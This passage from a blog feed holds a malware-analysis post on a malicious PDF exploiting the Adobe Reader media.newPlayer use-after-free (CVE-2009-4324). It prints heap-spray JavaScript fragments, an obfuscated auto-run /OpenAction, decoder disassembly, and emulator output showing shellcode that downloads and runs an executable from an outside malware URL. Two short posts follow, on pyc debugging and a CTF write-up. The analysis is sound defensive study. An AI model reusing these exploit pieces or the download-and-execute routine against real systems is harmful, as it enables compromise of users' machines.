style="white-space: pre;"&gt; &lt;/span&gt;memory[i]= EdDashDIgmMARzTFDgSvTTZUlJuZmRU + qdxIsPARawijkD;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;util.printd("LvdryEwfMTmeCphVejMYFrqjrtGAtOoXRupB", new Date());&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;util.printd("ZnKRrNewyQTUFCwqObcZXLUsCASjMnaXIElD", new Date());&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;try {this.media.newPlayer(null);} catch(e) {}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;util.printd(TyhHR, new Date());&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;A few observations:-&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;so "%u0c0c%u0c0c" suggests that its a nop sled for a heap overflow. The "while" loop seems to be constructing a nop sled of length 32768. "qdxIsPARawijkD" seems to be the shellcode that seems to do the nasty work.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Just before the "//jsunpack END PDF headers" you have some stuff thats added automatically by "pdf.py". From what I have read so far, it seems that you would need to include that information for the exploit to load up, when you try running the js using something like SeaMonkey.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;3. Finding the javascript entrypoint&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;I used &lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;pdf-parser&lt;/a&gt; by Didier Stevens; following is part of the output.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 1 0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;Type: /Catalog&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;Referencing: 2 0 R, 3 0 R, 5 0 R&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;[(2, '&amp;lt;&amp;lt;'), (2, '/T#79#70#65'), (2, '/C#61#74a#6c#6fg'), (2, '/Ou#74#6c#69n#65#73'), (1, ' '), (3, '2'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/Pag#65s'), (1, ' '), (3, '3'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/#4fp#65#6e#41#63t#69#6f#6e'), (1, ' '), (3, '5'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '&amp;gt;&amp;gt;')]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;/Type /Catalog&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;/Outlines 2 0 R&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;/Pages 3 0 R&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;/OpenAction 5 0 R&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 5 0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;Type: /Action&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;Referencing: 6 0 R&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;[(2, '&amp;lt;&amp;lt;'), (2, '/#54ype'), (2, '/Ac#74#69#6f#6e'), (2, '/#53'), (2, '/Jav#61S#63#72ip#74'), (2, '/#4a#53'), (1, ' '), (3, '6'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '&amp;gt;&amp;gt;')]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; /Type /Action&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; /S /JavaScript&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; /JS 6 0 R&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 6 0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;Type:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;Referencing:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;Contains stream&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;[(2, '&amp;lt;&amp;lt;'), (2, '/Le#6eg#74h'), (1, ' '), (3, '2317'), (2, '/F#69lt#65#72'), (2, '['), (2, '/#46late#44#65#63#6fd#65'), (2, '/A#53C#49IHex#44#65#63#6f#64e'), (2, ']'), (2, '&amp;gt;&amp;gt;'), (1, '\r\n')]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;/Length 2317&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;/Filter [&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;/FlateDecode /ASCIIHexDecode]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;As you can see above the /OpenAction is set to the object which contains the Javascript; so that js should execute without any user intervention. "/OpenAction" is obfuscated as "/#4fp#65#6e#41#63t#69#6f#6e" - so its pretty useful to have pdf-parser here.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;4. Understanding the shellcode&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In order to understand the shellcode I used distorm and some regex in python. The disassembly is as follows:-&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000000 (02) dbc3 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FCMOVNB ST0, ST3&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000002 (04) d97424f4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FNSTENV [ESP-0xc]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;; this is used as part of GetPC&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000006 (01) 58 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; POP EAX&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;; at this point eax will have the eip.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000007 (02) 31c9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; XOR ECX, ECX&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;; ecx set to 0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000009 (05) bbe1b4a29c &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; MOV EBX, 0x9ca2b4e1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x0000000e (02) b15e &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; MOV CL, 0x5e&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;; counter set to 94&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000010 (03) 315818 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; XOR [EAX+0x18], EBX&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;; instruction at eax+0x18 are xored with 0x9ca2b4e1&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000013 (03) 83c004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ADD EAX, 0x4&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000016 (03) 0358f5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ADD EBX, [EAX-0xb]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000019 (01) 56 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; PUSH ESI&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x0000001a (01) 57 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; PUSH EDI&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x0000001b (02) 77e5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; JA 0x2&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[truncated]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ok, so 0x18 = 24, the offset of 24 in between the instruction "&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;XOR [EAX+0x18], EBX&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;".&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Analyzing the above shown assembly would be a lot faster if I could just run it somehow. Enter sctest from libemu. Skimming through the whole thing gives me a lot of xoring + loop statements. Towards the end I can see the imported functions being called and that helps get an idea of what the shellcode is attempting to do.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;FARPROC WINAPI GetProcAddress (&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;HMODULE hModule = 0x7df20000 =&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;none;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;LPCSTR lpProcName = 0x0041715b =&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= "URLDownloadToFileA";&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;) = 0x7df7b0bb;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;UINT GetSystemDirectory (&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;LPTSTR lpBuffer = 0x00416fb2 =&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= "c:\WINDOWS\system32";&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;UINT uSize = 32;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;) = &amp;nbsp;19;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;HRESULT URLDownloadToFile (&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;LPUNKNOWN pCaller = 0x00000000 =&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;none;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;LPCTSTR szURL = 0x0041716e =&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= "http://www.zeus4ever.net/calc.exe";&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;LPCTSTR szFileName = 0x00416fb2 =&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= "c:\WINDOWS\system32\a.exe";&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;DWORD dwReserved = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;LPBINDSTATUSCALLBACK lpfnCB = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;) = &amp;nbsp;0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;UINT WINAPI WinExec (&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;LPCSTR lpCmdLine = 0x00416fb2 =&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= "c:\WINDOWS\system32\a.exe";&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;UINT uCmdShow = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;) = &amp;nbsp;32;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;void ExitThread (&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;DWORD dwExitCode = 32;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;) = &amp;nbsp;0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;a.exe is downloaded from "&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://www.zeus4ever.net/calc.exe&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;" and stored at "&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;c:\WINDOWS\system32\a.exe&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;" and executed. Of course, the executable is not available now so, guess thats it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;5. Finding out the vulnerability exploited&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The vulnerability seems to be CVE-2009-4324 and the exploit takes advantage of a vulnerability in the javascript module of Adobe Reader. The use-after-free vulnerability seems to be that calling self.media.newPlayer with a "null" argument.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Reference : &lt;a href="http://vrt-blog.snort.org/2009/12/adobe-reader-medianewplayer-analysis.html"&gt;http://vrt-blog.snort.org/2009/12/adobe-reader-medianewplayer-analysis.html&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Many thanks to &lt;a href="http://blog.oxff.net/"&gt;0xff&lt;/a&gt; for his help.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-8505745249395962280?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/8505745249395962280/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/10/recently-i-started-analyzing-pdf.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/8505745249395962280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/8505745249395962280'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/10/recently-i-started-analyzing-pdf.html' title='analyzing 8008bf0a06a0ba4dca1c881f4955acc8'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-1970159752709654583</id><published>2011-09-23T05:01:00.000-07:00</published><updated>2012-02-13T20:24:12.250-08:00</updated><title type='text'>debugging pyc files</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Sometimes, disassembly just isn't enough. Debugging helps. If you ever need to debug a pyc file you could do something like this :-&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; import sys&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; sys.argv = ["filename.pyc", "arg1", ... , "argn"]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; import pdb; pdb.set_trace()&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; import filename&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;source :&amp;nbsp;&lt;a href="http://esec-lab.sogeti.com/post/2010/11/02/hack.lu-CTF-Challenge-16-WriteUp"&gt;http://esec-lab.sogeti.com/post/2010/11/02/hack.lu-CTF-Challenge-16-WriteUp&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-1970159752709654583?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/1970159752709654583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/09/debugging-pyc-files.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1970159752709654583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1970159752709654583'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/09/debugging-pyc-files.html' title='debugging pyc files'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-3185461563389183240</id><published>2011-05-24T10:40:00.000-07:00</published><updated>2012-02-13T20:24:39.049-08:00</updated><title type='text'>phdays CTF: ndevice partial writeup</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;I had participated in phdays recently as part of Team BIOS and it was loads of fun, here's a partial writeup for the service ndevice. Its partial as the service kept getting updated and I only have a few versions. Im waiting to get my hands on the updated versions of the service so that I can work on them. (yeah, I know, its lame not to have kept copies of them all. If you have it, please do let me know, thanks in advance.)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, 